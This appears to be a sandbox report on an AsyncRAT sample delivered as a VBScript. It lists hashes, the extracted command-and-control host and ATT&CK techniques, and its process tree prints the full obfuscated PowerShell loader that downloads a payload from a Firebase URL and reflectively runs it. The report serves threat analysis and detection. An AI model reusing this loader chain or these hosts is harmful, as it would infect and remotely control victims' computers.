asyncrat | eaf0cc301ae124b8a2b966a9496e02466390f1557c1dfbfe26da8ffcb3df996c

Analysis

max time kernel
149s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
26/10/2025, 17:10

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General

Target
sostener1.vbs
Size 4.6MB
Sample251026-vp3klacw4a
SHA256 eaf0cc301ae124b8a2b966a9496e02466390f1557c1dfbfe26da8ffcb3df996c
MD5 f83ac7fee0584fd517dfcc333ad5f6fa
SHA1 dde7fd97be9a07f5c32f247aa2bf73d65a9f7159
SHA512 e442590507ff23851b013a05697426ed4cda4d14713e64f46c36ac9b5edb1d32a17194f4c3e1ffe7157e5835a296ea6831a069002d44de7fdddd74a02132ad16
SSDEEP 768:rhgxAxhgxhgxhgxhgxhgxhgxhgxhAxhghxhgxAxhgxhgxhgxhgxhgxhgxhgxhAxS:eg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

server discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Server

dcdgloss.duckdns.org:45850

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3612	powershell.exe
3	4972	powershell.exe
4	4972	powershell.exe
5	4972	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4592	powershell.exe
3612	powershell.exe
4972	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4972 set thread context of 3680	4972	powershell.exe	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4592	powershell.exe
4592	powershell.exe
3612	powershell.exe
3612	powershell.exe
4972	powershell.exe
4972	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	3680	MSBuild.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 4592	2772	WScript.exe	78
PID 2772 wrote to memory of 4592	2772	WScript.exe	78
PID 4592 wrote to memory of 3612	4592	powershell.exe	80
PID 4592 wrote to memory of 3612	4592	powershell.exe	80
PID 3612 wrote to memory of 4972	3612	powershell.exe	81
PID 3612 wrote to memory of 4972	3612	powershell.exe	81
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82
PID 4972 wrote to memory of 3680	4972	powershell.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener1.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGbmV3ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49MmE3NjE5ZGYtNGVhNy00M2QzLTljNmUtYjc0YmUwMWZmNjdmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ01RQTlBR3dBWkFBbUFISUFhQUIzQUhBQWJBQnVBR2tBZFFBOUFIUUFjd0FtQUhFQWNBQm9BRE1BYUFCNkFISUFid0JuQUhRQU13Qm5BR0VBYUFCdEFISUFiZ0JsQUhRQWNRQnlBR0VBWWdBeEFIY0FQUUI1QUdVQWF3QnNBSElBUHdCMEFIZ0FkQUF1QURFQVF3QXZBR1VBTWdCNkFHd0Fad0IzQUdjQWFBQjBBR1VBYlFCb0FEVUFhQUJxQURNQWR3QnFBSG9BYWdCeEFDOEFhUUJtQUM4QWJBQmpBSE1BTHdCdEFHOEFZd0F1QUhnQWJ3QmlBSEFBYndCeUFHUUFMZ0IzQUhjQWR3QXZBQzhBT2dCekFIQUFkQUIwQUdnQScnICkgLC☹nJyVKa1Fhc0RmZ3JUZyUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$sostener1.vbs');powershell $lvFxTsk;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHIAaAB3AHAAbABuAGkAdQA9AHQAcwAmAHEAcABoADMAaAB6AHIAbwBnAHQAMwBnAGEAaABtAHIAbgBlAHQAcQByAGEAYgAxAHcAPQB5AGUAawBsAHIAPwB0AHgAdAAuADEAQwAvAGUAMgB6AGwAZwB3AGcAaAB0AGUAbQBoADUAaABqADMAdwBqAHoAagBxAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$sostener1.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3612
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bb6b550d5cd09727f108d2a623f0cfb806a12fa5998a05be4b5bea7a9efc463c
MD5 306d313af3aa7efaced6bd67e2baa233
SHA1 207904cbacb4aa3535230ff79b09a4064393aa49
SHA512 7c24f75b14542ab6157f0b6496f8ec530e54cc19fc9990d0097e76977c5978d5a5f36cd09f09f1623a937258ac6303cdd70d53a6f70dce7187aee4ceb0cbd1da
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1c60ff7821e36304d7b4bcdd351a10da3685e9376775d8599f6d6103b688a056
MD5 12ff85d31d9e76455b77e6658cb06bf0
SHA1 45788e71d4a7fe9fd70b2c0e9494174b01f385eb
SHA512 fcc4084ab70e49821a3095eeac1ef85cf02c73fdb787047f9f6b345132f069c566581921fac98fab5ddec1a550c266304cce186e1d46957946b6f66dba764d2f
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
MD5 235a8eb126d835efb2e253459ab8b089
SHA1 293fbf68e6726a5a230c3a42624c01899e35a89f
SHA512 a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
MD5 SHA1 SHA512

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DvVbs.ps1

Path C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
Size 1KB
SHA256 4a50102471b005848902c542c9f8a1c9ed4aa95b0ea8200a7164a729f9600587
MD5 3dbb0bc07299e094a417c717519d75d8
SHA1 adc60643897b39b4a6577d4c5a84f48261760bf5
SHA512 01332427b87f5d848fb75a0d563a56987d42e6d0d406384860cf333f87cabd1506e7f0a645a53c870a7fa8ce4740f211640bdef8de7338b1cdd67376eadc78f1
MD5 SHA1 SHA512

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GOAap.txt

Path C:\Users\Admin\AppData\Local\Temp\GOAap.txt
Size 25KB
SHA256 4f92644fff35ceea761ac7978062ee8d9aa35468040f8eb79235801609ae554a
MD5 68e7507b62e17723d23b7f5bae16f732
SHA1 f24ad50d98d36438ee5f6ff28b0081d34ac1137e
SHA512 f2b0398a09786ed19275ee86af70e7a07a1b25063b0302caeb086c54db7723737dbf84a1ad369e449937f087dab227cb662bc08f3c6a3e79214b398dd36e65d7
SSDEEP 384:P90ZRPiKw0g5dganzQkUQFkQeTeCIFfuuHcj044c4gqM1K7FNGXwf:PKZ1wNnzvEe5FfuuH8VH41O+FNGXi
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_ybfu513r.lw2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybfu513r.lw2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3680-27-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/4592-0-0x000001F47A950000-0x000001F47A960000-memory.dmp

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memory/4592-6-0x000001F4623F0000-0x000001F462412000-memory.dmp

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memory/4592-8-0x000001F47A950000-0x000001F47A960000-memory.dmp

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memory/4972-25-0x00000217A5850000-0x00000217A585A000-memory.dmp

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memory/4972-26-0x00000217BDFE0000-0x00000217BDFEA000-memory.dmp

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